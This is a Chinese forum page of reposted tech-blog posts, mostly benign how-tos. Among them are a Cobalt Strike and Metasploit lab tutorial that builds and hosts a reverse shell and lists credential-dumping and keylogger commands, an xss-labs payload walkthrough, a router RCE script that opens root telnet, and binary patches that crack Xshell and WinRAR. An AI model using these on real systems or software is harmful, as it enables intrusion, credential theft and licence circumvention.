跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. Cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界大佬称为CS。本文将会讲述如何在kali Linux安装Cobalt Strike以及使用这款神器。希望给各位一点帮助。 环境介绍kali linux 2021Cobalt Strike4.3windows10(受害机)在kali中安装Cobalt Strike在kali中安装很简单,Cobalt Strike是基于Java的。因为kali中已经安装了Java环境,所以我们直接可以运行Cobalt Strike。 进入Cobalt Strike目录,执行./start.sh即可运行Cobalt Strike。 这样便启动了Cobalt Strike 如上会提示登录 这时我们需要启动登录服务,因为Cobalt Strike 是可以团队操作。也就是所我们需要启动团队服务器。执行下面命令: ./teamserver 192.168.123.33 pass66 #./teamserver kali的ip 登录密码 生成shell首先配置监听 和msfconsole类似,Cobalt Strike也要配置监听。 Cobalt Strike——Listeners——Add 相关参数说明: 参数说明name监听任务的名称 可随意payload监听的方式 支持http https TCP 等HTTPS HOSTS主机IP地址Host Rotation Strategy主机转移策略 一般默认即可生成shell Attacks—Packages——windows ececutable 配置windows平台下的shell 保存生成的shell 参数说明HTML Application基于http方式的攻击,如受害者打开网站即可获得shellMS Office Macrooffice宏攻击,如打开word文档即可获得shellPayload Generator其他方式的payload,如C python vbwindows ececutable生成windows平台下的shellShell上线 将生成的shell放到/var/www/html,并启动apache服务器 cp kali.exe /var/www/html service apache2 start当目标主机下载并运行shell后,我们便可以看到回弹。 对目标主机的操作 interact 命令模式当我们点击interact后,便会和msfconsole一样,进入命令模式。 现列出常用的命名 参数说明argue匹配进程的欺骗参数blockdlls阻止子进程中的非Microsoft DLLbrowserpivot设置浏览器会话cancel取消正在进行的下载cd改变目录位置checkin呼叫总部并发布数据chromedump从Google Chrome恢复凭据clear清除信标队列connect通过TCP连接到目标covertvpn部署隐蔽VPN客户端cp复制文件dcsync从DC提取密码哈希desktop查看目标桌面并与之交互dllinjectbbskali.cndllload将反射DLL注入进程download文件下载downloads列出正在下载的文件drives列出目标上的驱动器elevate在提升的上下文中生成会话exit关闭当前连接getprivs对当前令牌启用系统权限getsystem提升系统权限getuid获取用户IDhashdump导出hash密码keylogger记录键盘killKill 掉进程logonpasswords使用mimikatz转储凭据和哈希ls列出文件列表 bbskali.cnmake_token创建一个 tokenmimikatz运行神器 mimikatzmkdir创建一个目录mv移动文件net网络和主机枚举upload上传文件如获取C盘文件信息cd / ls 和目标屏幕交互desktop 其他菜单操作由于比较多,就不一个个说了。把常用的几个菜单说说。 可视化的文件浏览Explore-File Browser 对局域网内所有设备扫描 显示目标的所有进程 Cobalt Strike与Msfconsole联动首先我们在Cobalt Strike中创建一个新的Foreign Http监听 然后在msfconsole中配置监听 use exploit/multi/handler set payload windows/meterpreter/reverse_http set LHOST 192.168.123.33 set LPORT 4444 exploit返回Cobalt Strike,选择目标,右键Spawn选择我们前面配置的Foreign Http监听 这时,我们返回到msf中便可以看到成功得到回弹。 将msf会话转移到Cobalt Strike一样,我们先建立一个http的监听 因为在msf中我们已经获得了session 在其配置如下: use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set DisablePayloadHandler true set LHOST 192.168.123.33 set LPORT 5555 set SESSION 1 run set DisablePayloadHandler true 作用是msf不监听,代表是用来返给其他监听的 。 然后我们返回到Cobalt Strike这时便可以看到会话了 其他文章推荐《Cobalt Strike 目标上线微信提示》 《Cobalt Strike入坑指南(利用office文件获取shell)》 未完待续……
  2. 利用Pr如何消除音频中的杂音呢?好吧~我承认貌似和网络安全无关,但是为了凑文章数~ 首先我们先听一听原音频 利用Pr消音新建项目-将音频素材导入Pr 在效果面板中找到降噪 将其拖入到音轨 在效果控件中编辑参数即可 最后听听效果
  3. XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。 XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制。 安装项目地址:https://gitee.com/Zcodetea/xss-labs level 我们首先对核心代码进行分析 <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>通过GET方法,将name的值赋值为变量$srt并将其直接输出。 即!如果name=<script>alert()</script>时,将会把结果直接输出。 构造POC http://192.168.123.240/level1.php?name=%3Cscript%3Ealert('bbskali.cn')%3C/script%3E leve2 代码解读 <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>我们对数据进行抓包分析 后台过滤了<>符号,对其进行了实体化。但是我们发现了另一个可搞的地方。input标签的value值,正是我们的输入内容,且没有过滤。 修改payload:"><script>alert()</script> 提前将input标签闭合,让 leve3 代码分析 发现value里的<>也被实体化掉了 以采用“事件”,常用的有两个,onclick和onmouseover。 这里用onmouseover,payload:' onmouseover='javascript:alert(1) 这个为什么会起作用呢?你把它带进input的value就明白了。带入: 源码中就会被修改成:<input name=keyword value=' ' onmouseover='javascript:alert(1)'> 注入成功后,鼠标移动到input输入框,就会触发 leve4 和leve3的原理一样,只不过需要将'改为" payload:" onmouseover='alert(1)' leve5 发现事件也被过滤掉了。不要感到束手无策,前两题我们用事件是因为,<>不能用。但是这关没限制呀。我们只是不能用script,还有好多标签可用,比如<a>, <img>。 所以我们提前闭合input给<a>即可 payload:" /> <a href=javascript:alert()>bbskali.cn</a> leve6同样的套路,但是发现超链接屏蔽了。 将href进行了屏蔽,那么有么有屏蔽Href等大小写组合呢? OK 成功! leve7 script字符串被整个的过滤掉了,输入的on被过滤掉了,javascript的script也过滤了。 payload:"><scripscriptt>alert()</scrscriptipt> leve8 发现输入框的value会被填进超链接的href里面去。所以我们只需构造href就好了。 javascript被过滤了。这里你发现调整大小写也没有用。怎么办? 我们就可以使用t替换javascript中的t,从而绕过过滤。 payload:javascrip&#116:alert() leve9 输入中要有http://才能被识别写入。 paylaod:javascrip&#x74:alert()//http:// leve10 没有输入框,也没有超链接了。 通过发现,将输入框隐藏了而已。 payload:t_sort=" type="text" onmouseover=alert() " leve11 对其源码分析 <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level12.php?keyword=good job!"; } </script> <title>欢迎来到level11</title> </head> <body> <h1 align=center>欢迎来到level11</h1> <h2 align=center>没有找到和good job!相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_ref" value="http://192.168.123.240/level10.php?t_sort=%22%20type=%22text%22%20onmouseover=alert()%20%22" type="hidden"> </form> </center><center><img src=level11.png></center> <h3 align=center>payload的长度:9</h3></body>其中多了一个input,它的value很有趣,就是第10关的url。 在第十关完成的瞬间,我们使用burp抓取数据包 未完待续……
  4. zabbix是一个基于WEB界面的分布式系统监视以及网络监视功能的软件,用于监控多台服务器的状态和性能。本文将再宝塔环境的基础上安装zabbix。 环境说明宝塔7.6.0zabbxi 4.4.7php7.3mysql 5.6开始安装1:首先添加zabbix用户 groupadd zabbix useradd zabbix -g zabbix -s /sbin/nologin2:安装编译Zabbix需要的各种依赖和组件: yum -y install net-snmp-devel fping3:下载Zabbix源码:本地也下载一份,后面需要上传自带的数据库文件。 下载地址:https://udomain.dl.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/4.4.7/zabbix-4.4.7.tar.gz 再Linux终端,我们用wget快速下载即可 wget https://udomain.dl.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/4.4.7/zabbix-4.4.7.tar.gz4:在root目录解压下载的文件 tar -zxvf zabbix-4.4.7.tar.gz进入解压后的目录 cd zabbix-4.4.7编译解压后的程序 ./configure --enable-server --enable-agent --with-mysql --enable-ipv6 --with-net-snmp --with-libcurl --with-libxml25:安装编译后的文件 make install 6:进入宝塔面板–数据库–phpmyadmin新建一个zabbix数据库,注意排序规则为utf8_general_ci 7:导入数据库 将下载到本地的zabbix文件打开,解压文件进入\zabbix-4.4.7\database\mysql 目录 找到如下三个文件 schema.sql ,images.sql ,data.sql 按照顺序把他导入到zabbix数据库,选择对应的文件,然后下方有个执行 8: 配置数据库 这样数据库就创建完成并导入初始数据了。我们下面还需要编辑zabbix的配置文件。 在宝塔文件管理里面进入/usr/local/etc/目录,编辑zabbix_server.conf这个文件。 找到DBName=、DBUser=、DBPassword=这三个。其中DBPassword=我这个配置文件里没有这一项,我直接新建了这一项内容。 DBName=zabbix #数据库名字 DBUser=root #数据库用户 DBPassword= #数据库root密码9:放行端口 zabbix使用10050和10051端口,在宝塔里放行他。 10:启动zabbix的服务 zabbix_server zabbix_agentd11:安装zabbix的WEB页面 宝塔里创建一个网站(不需要数据库) 进入PHP设置,把max_input_time的值改成300 复制站点目录 cp -r /root/zabbix-4.4.7/frontends/php/* /www/wwwroot/zabbix.com/这里的zabbix.com就是你的刚才建立的站点目录。 12:访问IP或者域名进行安装 检测环境组件是否正常 填写数据库信息 然后是写网站地址、端口、网站名字 嗯报错,意思是没有找到配置文件,我们把它提供的文件下载下来,传到网站的/conf/目录里面。 上传好后再次点击Finish就行了。 打开域名,进入登录界面,默认账号密码admin、zabbix 宝塔面板-软件商店-PHP对应版本的设置中: 禁用函数里面,删除putenv。 这样就完美运行zabbix了。
  5. 还在愁斗图没有表情包吗?so让你斗图更加疯狂吧! 素材处理利用图片处理工具,将bj.jpg处理为300*300 安装依赖pip install image将背景图和表情合成from PIL import Image, ImageDraw, ImageFont img = Image.open("bj.jpg") jgz = Image.open("11.png") img.paste(jgz,(90,50)) img.show() img.save("Python生成的表情包.jpg")效果如下 给表情添加文字draw = ImageDraw.Draw(img) ttfront = ImageFont.truetype('simhei.ttf', 24) draw.text((60, 230),"来啊~快活啊 \n 反正有大把时光",fill=(0,0,0), font=ttfront) 完整代码from PIL import Image, ImageDraw, ImageFont img = Image.open("bj.jpg") jgz = Image.open("11.png") img.paste(jgz,(90,50)) #上下左右的坐标 draw = ImageDraw.Draw(img) ttfront = ImageFont.truetype('simhei.ttf', 24) draw.text((60, 230),"来啊~快活啊 \n 反正有大把时光",fill=(0,0,0), font=ttfront) img.show() img.save("Python生成的表情包.jpg")
  6. xshell和xftp是自己常用的两个软件,但是时不时的要求你更新,不更新还不能使用。打开时弹出“要继续使用此程序,您必须应用最新的更新或使用新版本”。 解决方法用二进制编辑器打开Xshell/Xftp安装目录下的 nslicense.dll搜索7F 0C 81 F9 80 33 E1 01 0F 86 80/81 替换为:7F 0C 81 F9 80 33 E1 01 0F 83 80/81保存退出即可 注意:注:直接打开nslincense.dll可能没有编辑权限,可以copy一份到其他地方,然后进行修改,再将修改后的dll文件替换掉Xshell、Xftp安装目录下的dll 本文适用于Xsehll、Xftp 5,也适用于Xshell、Xftp 6,5和6的区别仅仅在于: 版本5的十六进制串为:7F 0C 81 F9 80 33 E1 01 0F8680, 版本6的十六进制串为:7F 0C 81 F9 80 33 E1 01 0F8681,但不影响。 动手试试下载C32Asm(文末提供下载) 将nslicense.dll复制到桌面,并在C32Asm中打开。Ctrl+f搜索0F8681 将0F8681替换为0F8381保存即可 将保存好的文件复制到xshell或xftp的根目录下,成功运行! 附件下载xshell xftp解决强制更新
  7. DZ论坛是一款功能十分强大的bbs系统。但是由于功能的强大也使其变得很臃肿。当服务器性能一般的情况下,打开dz的速度也就很一般了。本文将通过自己的实践来告诉大家如何来提高论坛的加载速度。 论坛页面缓存优化全局--性能与优化缓存论坛首页有效期:设置论坛首页缓存更新的时间,单位为秒,0 为关闭(关闭以后,缓存系数将不再起作用),建议设置为 900。此功能只针对游客 缓存帖子有效期:设置帖子页面缓存更新的时间,单位为秒,0 为关闭。请根据实际情况进行调整,建议设置为 900。 缓存目录:默认为 data/threadcache 目录,如果您需要将其指定为其他目录,请确定您指定的目录有可写权限 缓存系数:页面缓存功能可以将会员经常访问的主题临时缓存起来,缓解大型论坛服务器压力。缓存阀值范围 0 - 100,建议设置为 40 ,0 为关闭。在磁盘空间允许的情况下,适当调高缓存系数,可以提高缓存效果。 服务器优化是否优化更新主题浏览量>>是查看数开启防刷新:>>是附件下载量延迟更新:>>是禁止浏览器缓冲:>>否最大在线人数:>>根据自己的实际情况而定关闭session机制:>>是 内存优化(重要)内存的快慢直接影响的程序的加载程度。 在这里我们利用redis来优化我们的内存。 首先,在宝塔面板中安装redis 修改config/config_global.php文件内容如下 $_config['memory']['prefix'] = '3DAD6r_'; $_config['memory']['redis']['server'] = '127.0.0.1'; $_config['memory']['redis']['port'] = 6379; $_config['memory']['redis']['pconnect'] = 0; $_config['memory']['redis']['timeout'] = ''; $_config['memory']['redis']['requirepass'] = ''; $_config['memory']['redis']['serializer'] = 1;保存完成后重启php和apacher 这样便完成了redis的安装
  8. 朋友托我给他买个路由器,百元左右的。自己平时对小米的产品比较钟爱。于是觉得小米4C这款路由器还行。适合家用价格便宜!就它了!!! 开箱 上手体验 优点: 价格便宜(官网售价69),适合家用。 缺点: 不能更好的移植第三方固件 开启Telnet为了更好的玩,我替朋友开启了Telnet。 环境如下: Python3(必须)路由器和电脑在同一局域网内打开路由器进入路由后台 下载利用脚本git clone https://github.com/shenmeiqian/OpenWRTInvasion.git cd OpenWRTInvasion pip3 install -r requirements.txt python3 remote_command_execution_vulnerability.py 输入完之后系统会提示你输入路由器的ip 默认是192.168.31.1 回车之后会让你输入stok。这个stok就在上面我说的不让你关闭的小米路由器的管理页面。 当显示telnet 192.168.31.1的时候一般来说就是成功了 登录Telnettelnet 192.168.31.1提示你输入用户名 此时输入 root 密码为空直接回车 当然,开启了Telnet我们可以给路由器刷入其他的固件。但是由于不是自己的,也就打住了!又想刷其他固件的,可以参考网上的其他教程。
  9. <div class="joe_census__server"> <div class="joe_census__server-item"> <div class="title">实时负载</div> <div class="content"> <div id="work"></div> </div> </div> <div class="joe_census__server-item"> <div class="title"> <span>实时流量</span> <div class="count"> <span class="up">总发送:0 B</span> <span class="split">/</span> <span class="down">总接收:0 B</span> </div> </div> <div class="content"> <div id="flow"></div> </div> </div> </div> <script> function bytesToSize(bytes) { if (!bytes) return '0 B'; const k = 1024, sizes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'], i = Math.floor(Math.log(bytes) / Math.log(k)); return (bytes / Math.pow(k, i)).toPrecision(3) + ' ' + sizes[i]; }; const categories = []; const upSeries = []; const downSeries = []; const flowDom = document.querySelector('#flow'); const workDom = document.querySelector('#work'); const flowChart = flowDom && echarts.init(flowDom); const workChart = workDom && echarts.init(workDom); if (flowDom && workDom) initChart(); function initChart() { $.ajax({ url: 'https://blog.bbskali.cn/action.php', dataType: 'json', success(res) { if (!res.status) alert('服务器接口异常!'); { $('.joe_census__server-item .count .up').html(`总发送:${bytesToSize(res.upTotal)}`); $('.joe_census__server-item .count .down').html(`总接收:${bytesToSize(res.downTotal)}`); const stamp = new Date(); const hours = String(stamp.getHours()).padStart(2, 0); const minutes = String(stamp.getMinutes()).padStart(2, 0); const seconds = String(stamp.getSeconds()).padStart(2, 0); const time = `${hours}:${minutes}:${seconds}`; categories.push(time); upSeries.push(res.up); downSeries.push(res.down); if (categories.length > 5) categories.shift(); if (upSeries.length > 5) upSeries.shift(); if (downSeries.length > 5) downSeries.shift(); flowChart.setOption({ color: ['#80FFA5', '#00DDFF', '#37A2FF', '#FF0087', '#FFBF00'], tooltip: { trigger: 'axis', axisPointer: { type: 'cross', label: { backgroundColor: '#6a7985' } } }, legend: { data: ['Line 1', 'Line 2', 'Line 3', 'Line 4', 'Line 5'] }, toolbox: { feature: { saveAsImage: {} } }, grid: { left: '3%', right: '4%', bottom: '3%', containLabel: true }, xAxis: [ { type: 'category', boundaryGap: false, data: categories } ], yAxis: [ { type: 'value' } ], series: [ { name: '上行', type: 'line', stack: '总量', smooth: true, lineStyle: { width: 0 }, showSymbol: false, areaStyle: { opacity: 0.8, color: new echarts.graphic.LinearGradient(0, 0, 0, 1, [{ offset: 0, color: 'rgba(255, 0, 135)' }, { offset: 1, color: 'rgba(135, 0, 157)' }]) }, emphasis: { focus: 'series' }, data: upSeries }, { name: '下行', type: 'line', stack: '总量', smooth: true, lineStyle: { width: 0 }, showSymbol: false, label: { show: true, position: 'top' }, areaStyle: { opacity: 0.8, color: new echarts.graphic.LinearGradient(0, 0, 0, 1, [{ offset: 0, color: 'rgba(255, 191, 0)' }, { offset: 1, color: 'rgba(224, 62, 76)' }]) }, emphasis: { focus: 'series' }, data: downSeries } ] }); } { /* CPU占用 */ const cpuUse = res.cpu[0]; /* 内存占用 */ const memoryRealUse = Math.round((res.memory.memRealUsed / res.memory.memTotal) * 1000) / 10; /* 内存缓冲 */ const memoryCacheUse = Math.round((res.memory.memCached / res.memory.memTotal) * 1000) / 10; /* 系统缓冲 */ const memoryBufferUse = Math.round((res.memory.memBuffers / res.memory.memTotal) * 1000) / 10; /* 系统负载 */ const systemLoad = Math.round((res.load.one / res.load.max) * 100) > 100 ? 100 : Math.round((res.load.one / res.load.max) * 100); workChart.setOption({ title: { subtext: '单位 百分比' }, tooltip: { trigger: 'axis', axisPointer: { type: 'shadow' } }, grid: { left: '3%', right: '3%', bottom: '3%', containLabel: true }, xAxis: { type: 'category', axisTick: { show: false }, data: ['CPU占用', '内存占用', '系统缓冲', '内存缓冲', '系统负载'] }, yAxis: { type: 'value' }, series: { data: [ { name: 'CPU占用', value: cpuUse, itemStyle: { color: '#b3c25a' } }, { name: '内存占用', value: memoryRealUse, itemStyle: { color: '#67b580' } }, { name: '系统缓冲', value: memoryBufferUse, itemStyle: { color: '#86ba71' } }, { name: '内存缓冲', value: memoryCacheUse, itemStyle: { color: '#feb041' } }, { name: '系统负载', value: systemLoad, itemStyle: { color: '#fd7e55' } } ], type: 'bar', showBackground: true, label: { show: true, color: '#ffffff', formatter: params => `${params.data.value} %` }, backgroundStyle: { color: 'rgba(180, 180, 180, 0.2)' } } }); } setTimeout(initChart, 2000); } }); } </script>
  10. 如何利用Python处理学生的成绩表呢?在实际问题中,我们常用excel来完成此工作。如计算平均分、总分、及格人数等。如何利用Python来完成此工作呢? 前期准备Python3.9所需模块pandas openpyxl成绩表.xlsx win10安装pyton环境Python 安装包下载地址:https://www.python.org/downloads/ 打开该链接,点击下图中的版本号或者Download按钮进入对应版本的下载页面,滚动到最后即可看到各个平台的 Python 安装包。 对前缀的说明: 以Windows installer (64-bit)开头的是 64 位的 Python 安装程序; 以Windows installer (32-bit)开头的是 32 位的 Python 安装程序。 对后缀的说明: embeddable zip file表示.zip格式的绿色免安装版本,可以直接嵌入(集成)到其它的应用程序中; executable installer表示.exe格式的可执行程序,这是完整的离线安装包,一般选择这个即可; web-based installer表示通过网络安装的,也就是说下载到的是一个空壳,安装过程中还需要联网下载真正的 Python 安装包。 *注意勾选Add Python 3.9 to PATH,这样可以将 Python 命令工具所在目录添加到系统 Path 环境变量中,以后开发程序或者运行 Python 命令会非常方便。 继续点击下一步,这样便很快完成python的安装。 验证 在cmd中输入python可以看到回显,说明安装成功。 牛刀小试 print ("kali's blog https://blog.bbskali.cn") 这样便安装完成Python Python处理excel安装相应的模块,因为对excel的操作离不开python相应的库。这里我们用到了pandas openpyxl这两个库。 在cmd中执行下面命令安装即可! python pip install pandas python pip install openpyxl需要注意的是,在pip安装过程中,速度相对比较慢。我们可以改变Python的源来提高下载速度。详情请参考下面这篇文章。 更换Pip下载源,让下载速度飞起来 Python的学习过程中,往往会学习到很多库,而安装各类库的时候,往往不尽人意,下载速度从几KB到十几KB。甚至下... 利用Python打开Excelimport pandas as pd import openpyxl df=pd.read_excel('H:\chengji.xlsx', sheet_name='Sheet1') #读取指定表 print(df)sheet_name为我们读取Excel中的表 求学生总分和平均分所用到的函数 sum:求和 mean:平均分 需要注意的是 axis 0为列,1为行 import pandas as pd import openpyxl df=pd.read_excel('H:\chengji.xlsx', sheet_name='Sheet1') #读取指定表 temp = df[["语文","数学","英语","物理","化学","道德与法治","历史","生地"]] df["总分"] = temp.sum(axis=1) #axis 0为列,1为行 df["平均分"] = temp.mean(axis=1)求每科目的平均分和最高分import pandas as pd import openpyxl df=pd.read_excel('H:\chengji.xlsx', sheet_name='Sheet1') #读取指定表 temp = df[["语文","数学","英语","物理","化学","道德与法治","历史","生地"]] Total = df[["语文","数学","英语","物理","化学","道德与法治","历史","生地"]].mean() Tota2 = df[["语文","数学","英语","物理","化学","道德与法治","历史","生地"]].max()判断成绩数组中及格人数df1 = df[df[['语文','数学','英语']] >= 90] print('及格人数:',df1[['语文','数学','英语']].count())判断参加考试的人数df2 = df[['语文','数学','英语']] print('考试人数:',df2[['语文','数学','英语']].count())对数据进行保存writer = pd.ExcelWriter('H:\ 2.xlsx') writer.save()#文件保存 writer.close()#文件关闭处理完成的效果 完整代码# -*- coding: UTF-8 -*- import pandas as pd import openpyxl df=pd.read_excel('H:\chengji.xlsx', sheet_name='date1') #读取指定表 temp = df[["语文","数学","英语","物理","化学","道德与法治","历史","生地"]] df["总分"] = temp.sum(axis=1)#axis 0为列,1为行 df["平均分"] = temp.mean(axis=1) Total = df[["语文","数学","英语","物理","化学","道德与法治","历史","生地"]].mean() Tota2 = df[["语文","数学","英语","物理","化学","道德与法治","历史","生地"]].max() writer = pd.ExcelWriter('H:\ 2.xlsx') df.to_excel(writer,sheet_name='Sheet1') Total.to_excel(writer,sheet_name='Sheet2') Tota2.to_excel(writer,sheet_name='Sheet3') # 判断成绩数组中及格人数 df1 = df[df[['语文','数学','英语']] >= 90] print('及格人数:',df1[['语文','数学','英语']].count()) df2 = df[['语文','数学','英语']] print('考试人数:',df2[['语文','数学','英语']].count()) writer.save()#文件保存 writer.close()#文件关闭 templ= r"H:\ 2.xlsx" wb = openpyxl.load_workbook(templ) #指定单元格保存 ws = wb['Sheet1'] ws['c189'].value = '平均成绩' ws['d189'].value = Total['语文'] ws['e189'].value = Total['数学'] ws['f189'].value = Total['英语'] ws['g189'].value = Total['物理'] ws['h189'].value = Total['化学'] ws['i189'].value = Total['道德与法治'] ws['j189'].value = Total['历史'] ws['k189'].value = Total['生地'] ws['c190'].value = '及格人数' ws['d190'].value = df1['语文'].count() ws['e190'].value = df1['数学'].count() ws['f190'].value = df1['英语'].count() #及格率 ws['d190'].value = df1['语文'].count() / df2['语文'].count() wb.save(r"H:\ 2.xlsx") 上诉代码可根据自己的实际情况进行修改,如及格人数中,我是按>=90分计算的。
  11. 优势随时随地打开空调便携低功耗(使用 HTML CSS 而非 Canvas 绘制)静音操作简单安装便捷 劣势没有风 安装<iframe height="740" src="https://ac.yunyoujun.cn"></iframe>效果
  12. 前言在学籍管理中,我们导出学籍后(姓名 学籍号 身份证号)等常用的信息。如何按照学籍信息和对应学生的照片进行命名呢?首先来看看效果 如上,假设我们根据学籍信息(由A-Z排序),拍摄学生照片。如何将excel中对应的学生姓名和学号与对应的学生匹配并重命名呢? 最终实现的效果 问题解决难点将excel中数据和图片一一对应是关键。故要求我们在拍摄照片时需按照学生姓名(由A-Z排序)进行拍摄。不然数据可能无法一一对应。 实现方案01对拍摄的所有文件批量重命名因为照相设备的不同,拷贝出来相片的命名方式是不同的。 如上,按照学生姓名(由A-Z排序)后,给学生拍照。 将所有图片进行批量重命名 import os class BatchRename(): def __init__(self): self.path = '/root/photo/photo1/' def rename(self): filelist = os.listdir(self.path) filelist.sort() total_num = len(filelist) i = 0 for item in filelist: if item.endswith('.jpg'): src = os.path.join(os.path.abspath(self.path), item) s = str(i) s = s.zfill(3) dst = os.path.join(os.path.abspath(self.path), s + '.jpg') try: os.rename(src, dst) print ('converting %s to %s ...' % (src, dst)) i = i + 1 except: continue print ('total %d to rename & converted %d jpg' % (total_num, i)) if __name__ == '__main__': demo = BatchRename() demo.rename()效果如下: 部分代码解读 self.path = '/root/photo/photo1/' 相片文件的位置 s = s.zfill(3) 文件名位数,这里是3位,即xxx.jpg 02匹配excel中数据进行重命名操作代码如下: # encoding: utf-8 import os import xlrd count = 1 path = "/root/photo/photo1/" #文件所在文件夹 expath = "/root/photo/info.xlsx"#名单所在文件夹 x1 = xlrd.open_workbook(expath)#读取excel sheet1 = x1.sheet_by_name("Sheet1")#读取sheet1 idlist = sheet1.col_values(0)#存放第一列 xylist = sheet1.col_values(1)#存放第二列 filelist = os.listdir(path)#读取文件目录 filelist.sort(key=lambda x:int(x[:-4])) for files in filelist:#遍历文件目录 Olddir = os.path.join(path,files)#旧的文件位置 #os.renames(Olddir,os.path.join(path,str(xylist[count]+".jpg"))#新的文件位置 os.rename(Olddir,os.path.join(path,str(idlist[count])+str(xylist[count])+".jpg")) count = count + 1 部分代码解读 filelist.sort(key=lambda x:int(x[:-4]))解决os.listdir()乱排序问题,-4按照前4位进行排序,防止乱序。 运行效果 方案二利用批处理实现(适用于没有python环境的用户) 首先将图片批量重命名,然后将图片名称放到excel中。 在批处理中输入公式 ="ren "&E2&".jpg "&A2&B2&".jpg"E2为原图片名称所在单元格 将结果复制出来,在txt中另存为bat文件,注意编码格式为ANSI不然汉字会乱码。 运行效果
  13. 请注意,本文编写于 1416 天前,最后修改于 1400 天前,其中某些信息可能已经过时。 家里有台lenvo m7400 pro,由于没有网络打印功能。在之前是通过共享打印机的方式实现局域网内的设备完成打印的。但是手机等设备无法连接,当连接打印机的主机关闭后,其他电脑也无法打印。于是我用树莓派将打印机连接实现了网络打印功能。 设备清单lenovo M7400 pro树莓派4B魅族路由器(刷了老毛子固件 方案二) 登录树莓派 进行相关配置登录树莓派 安装cups CUPS(Common UNIX Printing System,通用Unix打印系统)是Fedora Core3中支持的打印系统,它主要是使用IPP(Internet Printing Protocol)来管理打印工作及队列,但同时也支持"LPD"(Line Printer Daemon)和"SMB"(Server Message Block)以及AppSocket等通信协议。apt-get install cups 如上,安装完成cups后执行下面操作 service cups start #启动服务 service cups stop #关闭服务 usermod -a -G lpadmin root #将lpadmin添加到用户组 cupsctl --remote-any这时候,在局域网内任何一台电脑或手机的浏览器中,访问树莓派的 631 端口,如:http://192.168.123.XX:631,就可以进入基于网页的 CUPS 配置界面。 依次点击「Ad­min­is­tra­tion」-「Add Printer」按照提示配置即可。 关于驱动问题对于联想而言,打印机的驱动大多数都是Windows的,Linux下的驱动少之又少。通过网上查阅这方面的文章也比较少。 (PPD) 文件是由Adobe公司开发的一种用来描述打印机所有支持的功能和特性的文件,它可以让系统知道如何处理和操作打印机。大家目前可以参考下这篇文章! https://simzhou.com/posts/2020/adding-lenovo-printer-to-raspberry-pi/ 测试配置完成后,点击test page即可完成对打印机的操作! 方案二之前我在路由器中刷入了老毛子固件,如果你的路由器有USB接口,恭喜!你可以利用路由器实现网络打印! 登录路由器,可以看到打印机已成功连接了。 在Windows下连接打印机设置—添加打印机 输入路由器的ip地址 选择打印机驱动 这样便安装成功了! 打印测试
  14. TPLINK-R476G是基于企业级路由器,拥有行为管理 认证管理 VPN 动态DNS等功能。是一款不错的路由器,公司网络最新优化,购买了不少的设备,在配置网络过程中发现了这款路由器有web认证功能。在这里作一简要的说明: 登录路由器 认证管理-web认证配置相关的AP和参数 配置用户在配置用户管理中,添加用户! 当其他用户访问时,会弹出认证页面,需要输入相应的账号和密码便可以上网了。
  15. rar是一款强大的文件压缩工具,但是由于免费版存在弹窗广告极其恶心。如何去掉广告,用上绿色安全的压缩工具呢。实验环境winrar6.0ResourceHacker 首先到官网下载最新版的winrar,我这里以64位为例! 下载后,安装顺序安装winrar。安装完成后,运行rar我们便可以看到恶心的广告了! 破解度娘搜索下载ResourceHacker 找到winrar的安装路径,默认是C:\Program Files\WinRAR 把安装目录下的winrar.exe文件拖到ResourceHacker 在左侧目录里面找到String Table,打开后再找到80:2052 将1277行全部删掉 最后点击左上角File-Save As保存即可! 效果最后打开压缩文件,就没有恶心的广告啦!
  16. 遇见自己喜欢的字体,怎样引用到自己的网站呢?这里以DZ论坛为例,当然这种方法适用所有网站。下载自己喜欢的字体 下载自己喜欢的字体,字体格式为.ttf。我们可以到第一字体网去下载http://www.diyiziti.com/ 转换字体格式将下载好的字体转换成.eot、 .woff、 .woff2三种格式,文件名可以是任意英文可以根据自己的喜好命名(不要设置为中文就可以了)。这里推荐一个在线转化的网站:https://www.fontke.com/tool/convfont/ 上传字体将转换好的.eot、 .woff、 .woff2三种格式字体上传到自己网站任何位置(建议上传到CDN这样字体渲染速度比较快)。 调用代码@font-face { font-family: "kali"; src: url(https://bbskali.cn/.woff2) format("woff2"), url(https://bbskali.cn/.woff) format("woff"), url(https://bbskali.cn/.ttf) format("truetype"), url(https://bbskali.cn/.eot) format("embedded-opentype"), url(https://bbskali.cn/.svg) format("svg"); } PS:上面的代码里.ttf和 .svg的文件是没有的,但是路径要和.eot、 .woff、 .woff2三种格式路径保持一致,否则字体将不会正常显示。 body { font-family: kali!important; } !important:优先级最高!
  17. 笔者有时需要将手机屏幕内容投屏到PC端,用作演示。那么如何来做到这点呢? 准备手机一部USB数据线 安装scrcpy在kali中执行下面命令 apt-get install scrcpy 这样便完成了安装 使用首先开启手机的开发者模式--USB试调 通过USB连接电脑后,终端执行命令scrcpy即可 通过无线连接首先执行下面命令开启无线试调 adb tcpip 5555拔掉数据线后执行 adb connect 192.168.1.x:5555最好执行adb devices查看设备 同上,执行在终端中执行scrcpy即可连接手机。 其他如果有多个设备 scrcpy -s ip:5555如果无线比较卡加上参数-b 4m 限制码率,--max=fps限制帧率。 视频演示
